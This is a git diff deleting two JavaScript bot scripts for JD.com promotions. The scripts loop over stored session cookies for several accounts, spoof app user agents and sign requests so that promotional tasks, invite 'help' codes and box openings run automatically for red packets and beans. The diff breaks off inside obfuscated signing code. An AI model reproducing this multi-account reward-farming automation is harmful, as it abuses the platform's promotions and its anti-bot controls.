= type=cron,cronexp="24 3,13 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js - -============小火箭========= -京东超级盒子 = type=cron,script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js, cronexpr="24 3,13 * * *", timeout=3600, enable=true - */ - -const $ = new Env('京东超级盒子'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = '', - secretp = '', - joyToken = ""; -$.shareCoseList = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com/client.action`; -!(async () => { - console.log('活动入口:京东APP-搜索-超级盒子') - console.log('开箱目前结果为空气和红包,没发现豆子') - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - await getToken(); - cookiesArr = cookiesArr.map(ck => ck + `joyytoken=50084${joyToken};`) - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - continue - } - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - console.log(`\n入口:app主页搜超级盒子\n`); - await main() - } - }; - $.shareCoseList = [...new Set([...$.shareCoseList,''])] - //去助力与开箱 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - continue - } - if ($.shareCoseList.length >= 2) { - for (let y = 0; y < $.shareCoseList.length; y++) { - console.log(`京东账号${$.index} ${$.nickName || $.UserName}去助力${$.shareCoseList[y]}`) - await helpShare({ "taskId": $.helpId, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": $.shareCoseList[y] }); - await $.wait(1000); - } - } - } - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - continue - } - //开箱 - console.log(`京东账号${$.index}去开箱`) - for (let y = 0; y < $.lotteryNumber; y++) { - console.log(`可以开箱${$.lotteryNumber}次 ==>>第${y+1}次开箱`) - await openBox({ "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "" }); - await $.wait(1000); - } - } - } -})() -.catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function main() { - await superboxSupBoxHomePage({ "taskId": "", "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "" }) - console.log(`【京东账号${$.index}】${$.nickName || $.UserName}互助码:${$.encryptPin}`) - await $.wait(1000); - await apTaskList({ "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": $.encryptPin }); - if ($.allList) { - for (let i = 0; i < $.allList.length; i++) { - $.oneTask = $.allList[i]; - if (["SHARE_INVITE"].includes($.oneTask.taskType)) { - $.helpId = $.oneTask.id; - $.helpLimit = $.oneTask.taskLimitTimes; - }; - if (["BROWSE_SHOP"].includes($.oneTask.taskType) && $.oneTask.taskFinished === false) { - await apTaskDetail({ "taskId": $.oneTask.id, "taskType": $.oneTask.taskType, "channel": 4, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "7pcfSWHrAG9MKu3RKLl127VL5L4aIE1sZ1eRRdphpl8" }); - await $.wait(1000) - for (let y = 0; y < ($.doList.status.finishNeed - $.doList.status.userFinishedTimes); y++) { - $.startList = $.doList.taskItemList[y]; - $.itemName = $.doList.taskItemList[y].itemName; - console.log(`去浏览${$.itemName}`) - await apDoTask({ "taskId": $.allList[i].id, "taskType": $.allList[i].taskType, "channel": 4, "itemId": $.startList.itemId, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "7pcfSWHrAG9MKu3RKLl127VL5L4aIE1sZ1eRRdphpl8" }) - await $.wait(1000) - } - } - } - } else { - console.log(`任务全部完成`) - } -} - -//活动主页 -function superboxSupBoxHomePage(body) { - return new Promise((resolve) => { - $.get(taskGetUrl('superboxSupBoxHomePage', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} superboxSupBoxHomePage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 0) { - $.encryptPin = data.data.encryptPin; - $.shareCoseList.push($.encryptPin) - $.lotteryNumber = data.data.lotteryNumber - } else { - console.log(`superboxSupBoxHomePage:${JSON.stringify(data)}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - - -//获取任务列表 -function apTaskList(body) { - return new Promise((resolve) => { - $.get(taskGetUrl('apTaskList', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} apTaskList API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 0) { - $.allList = data.data - //console.log(JSON.stringify($.allList[1])); - } else { - console.log(`apTaskList错误:${JSON.stringify(data)}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//获取任务分表 -function apTaskDetail(body) { - return new Promise((resolve) => { - $.get(taskGetUrl('apTaskDetail', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} apTaskDetail API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 0) { - $.doList = data.data - //console.log(JSON.stringify($.doList)); - } else { - console.log(`apTaskDetail错误:${JSON.stringify(data)}\n`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//做任务 -function apDoTask(body) { - return new Promise((resolve) => { - $.post(taskPostUrl('apDoTask', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} apDoTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - //console.log(JSON.stringify(data)); - if (data.success === true && data.code === 0) { - console.log(`浏览${$.itemName}完成\n已完成${data.data.userFinishedTimes}次\n`) - } else if (data.success === false && data.code === 2005) { - console.log(`${data.data.errMsg}${data.data.userFinishedTimes}次`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//助力 -function helpShare(body) { - return new Promise((resolve) => { - $.get(taskGetUrl('superboxSupBoxHomePage', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} superboxSupBoxHomePage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - //console.log(JSON.stringify(data)); - if (data.success === true && data.code === 0) { - console.log(`助力成功\n\n`) - } else { - console.log(`助力失败:${JSON.stringify(data)}\n\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//开盲盒 -function openBox(body) { - return new Promise((resolve) => { - $.get(taskGetUrl('superboxOrdinaryLottery', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} superboxOrdinaryLottery API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - //console.log(JSON.stringify(data)); - if (data.success === true && data.code === 0 && data.data.rewardType === 2) { - console.log(`开箱成功获得${data.data.discount}元红包\n\n`) - } else if (data.success === true && data.code === 0 && data.data.rewardType !== 2) { - console.log(`开箱成功应该获得了空气${JSON.stringify(data.data)}\n\n`) - } else { - console.log(`失败:${JSON.stringify(data)}\n\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getToken(timeout = 0) { - return new Promise((resolve) => { - setTimeout(() => { - let url = { - url: `https://bh.m.jd.com/gettoken`, - headers: { - 'Content-Type': `text/plain;charset=UTF-8` - }, - body: `content={"appname":"50084","whwswswws":"","jdkey":"","body":{"platform":"1"}}` - } - $.post(url, async (err, resp, data) => { - try { - data = JSON.parse(data); - joyToken = data.joyytoken; - console.log(`joyToken = ${data.joyytoken}`) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - }, timeout) - }) -} - -function taskGetUrl(functionId, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, - //body: `functionId=${functionId}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0&uuid=ef746bc0663f7ca06cdd1fa724c15451900039cf`, - headers: { - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'api.m.jd.com', - 'Cookie': cookie, - 'Origin': 'https://prodev.m.jd.com', - 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', - } - } -} - -function taskPostUrl(functionId, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${functionId}`, - body: `functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, - headers: { - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'api.m.jd.com', - 'Cookie': cookie, - 'Origin': 'https://prodev.m.jd.com', - 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', - } - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch {} - return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; - this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => {})) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; - e(s, i, i && i.body) })) } post(t, e = (() => {})) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); - else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; - this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; - e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_computer.js b/jd_computer.js deleted file mode 100644 index f2e8470df..000000000 --- a/jd_computer.js +++ /dev/null @@ -1,464 +0,0 @@ -/* -#电脑配件ID任务jd_computer,自行加入以下环境变量,多个ID用@连接 -export computer_activityIdList="17" - -即时任务,无需cron -*/ - -const $ = new Env('电脑配件通用ID任务'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -let activityIdList = ''; -let activityIdArr = []; -let activityId = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.computer_activityIdList) activityIdList = process.env.computer_activityIdList - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -allMessage = "" -message = "" -$.hotFlag = false -$.outFlag = 0 -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if (!activityIdList) { - $.log(`没有电脑配件ID,尝试获取远程`); - let data = await getData("https://gitee.com/KingRan521/JD-Scripts/raw/master/shareCodes/dlpj.json") - if (data && data.length) { - $.log(`获取到远程且有数据`); - activityIdList = data.join('@') - }else{ - $.log(`获取失败或当前无远程数据`); - return - } - } - MD5() - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = "" - $.bean = 0 - $.hotFlag = false - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - let activityIdArr = activityIdList.split("@"); - for (let j = 0; j < activityIdArr.length; j++) { - activityId = activityIdArr[j] - console.log(`电脑配件ID就位: ${activityId},准备开始薅豆`); - await run(); - if($.bean > 0 || message) { - let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.bean > 0 && "获得"+$.bean+"京豆\n" || ""}${message}\n` - $.msg($.name, ``, msg); - allMessage += msg - } - } - } - if($.outFlag != 0) break - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}\n`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${allMessage}\n`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - $.list = '' - await indexInfo(); - if($.hotFlag) message += `活动太火爆\n` - if($.hotFlag) return - if($.list){ - for(let i in $.list || []){ - $.oneTask = $.list[i] - for(let j in $.oneTask.taskList || []){ - $.task = $.oneTask.taskList[j] - console.log(`[${$.oneTask.taskName}] ${$.task.name} ${$.task.status == 4 && '已完成' || $.task.status == 3 && '未领取' || '未完成'}`) - if($.task.status != 4) await doTask('doTask', $.task.id, $.oneTask.taskId); - if($.oneTask.taskId == 3 && $.task.status != 4){ - await $.wait(parseInt(Math.random() * 1000 + 6000, 10)) - await doTask('getPrize', $.task.id, $.oneTask.taskId); - } - if($.outFlag != 0) { - message += "\n京豆库存已空,退出脚本\n" - return - } - if($.task.status != 4) await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - } - } - }else{ - console.log('获取不到任务') - } - await indexInfo(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if($.extraTaskStatus == 3 && $.outFlag == 0) await extraTaskPrize(); - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - } catch (e) { - console.log(e) - } -} - -function indexInfo() { - return new Promise(async resolve => { - let sign = getSign("/tzh/combination/indexInfo",{"activityId": activityId}) - $.get({ - url: `https://combination.m.jd.com/tzh/combination/indexInfo?activityId=${activityId}&t=${sign.timestamp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - 'Content-Type':'application/json;charset=utf-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - 'sign': sign.sign, - 'timestamp': sign.timestamp - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data) - if(typeof res == 'object'){ - if(res.code == 200 && res.data){ - $.list = res.data.list - $.extraTaskStatus = res.data.extraTaskStatus - - }else if(res.msg){ - if(res.msg.indexOf('活动太火爆') > -1){ - $.hotFlag = true - } - console.log(res.msg) - }else{ - console.log(`活动获取失败\n${data}`) - console.log(data) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function doTask(type, id, taskId) { - if($.outFlag != 0) return - return new Promise(async resolve => { - let sign = getSign(`/tzh/combination/${type}`,{"activityId": activityId,"id":id,"taskId":taskId}) - $.post({ - url: `https://combination.m.jd.com/tzh/combination/${type}`, - body: `activityId=${activityId}&id=${id}&taskId=${taskId}&t=${sign.timestamp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie, - 'User-Agent': $.UA, - 'sign': sign.sign, - 'timestamp': sign.timestamp - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data) - if(typeof res == 'object'){ - if(res.code == 200 && res.data){ - let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' - if(res.data.jdNum){ - console.log(`获得 ${msg}`) - $.bean += Number(res.data.jdNum) || 0 - }else{ - console.log(data) - } - }else if(res.msg){ - if(res.msg.indexOf('活动太火爆') > -1){ - $.hotFlag = true - }else if(res.msg.indexOf('京豆已被抢光') > -1){ - message += res.msg+"\n" - $.outFlag = 1 - } - console.log(res.msg) - }else{ - console.log(`活动获取失败\n${data}`) - console.log(data) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function extraTaskPrize() { - if($.outFlag != 0) return - return new Promise(async resolve => { - let sign = getSign(`/tzh/combination/extraTaskPrize`,{"activityId": activityId}) - $.post({ - url: `https://combination.m.jd.com/tzh/combination/extraTaskPrize`, - body: `activityId=${activityId}&t=${sign.timestamp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie, - 'User-Agent': $.UA, - 'sign': sign.sign, - 'timestamp': sign.timestamp - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data) - if(typeof res == 'object'){ - if(res.code == 200 && res.data){ - let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' - if(res.data.jdNum){ - console.log(`获得 ${msg}`) - $.bean += Number(res.data.jdNum) || 0 - }else{ - console.log(data) - } - }else if(res.msg){ - if(res.msg.indexOf('活动太火爆') > -1){ - $.hotFlag = true - } - console.log(res.msg) - }else{ - console.log(`活动获取失败\n${data}`) - console.log(data) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getData(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000) - resolve(); - }) -} -/* - *Progcessed By JSDec in 0.01s - *JSDec - JSDec.js.org - */ -function M(_0xc44a8f, _0x429a90, _0xdee559) { - var _0x4488a6 = { - 'CNgba': function(_0x215ac0, _0x215aad) { - return _0x215ac0 == _0x215aad; - }, - 'fzUrQ': 'string', - 'jqqVS': function(_0x287be6, _0x58e96c) { - return _0x287be6 + _0x58e96c; - }, - 'CAfDO': function(_0x38b00c, _0x1906ca) { - return _0x38b00c == _0x1906ca; - }, - 'ANdMj': 'object', - 'zEtiI': function(_0xba739d, _0x149c91) { - return _0xba739d(_0x149c91); - }, - 'pujRC': function(_0x5325b4, _0x2366cf) { - return _0x5325b4 + _0x2366cf; - }, - 'VxfTG': function(_0x5173a1, _0x5eb552) { - return _0x5173a1 + _0x5eb552; - }, - 'iRXRX': function(_0x411582, _0x32e553) { 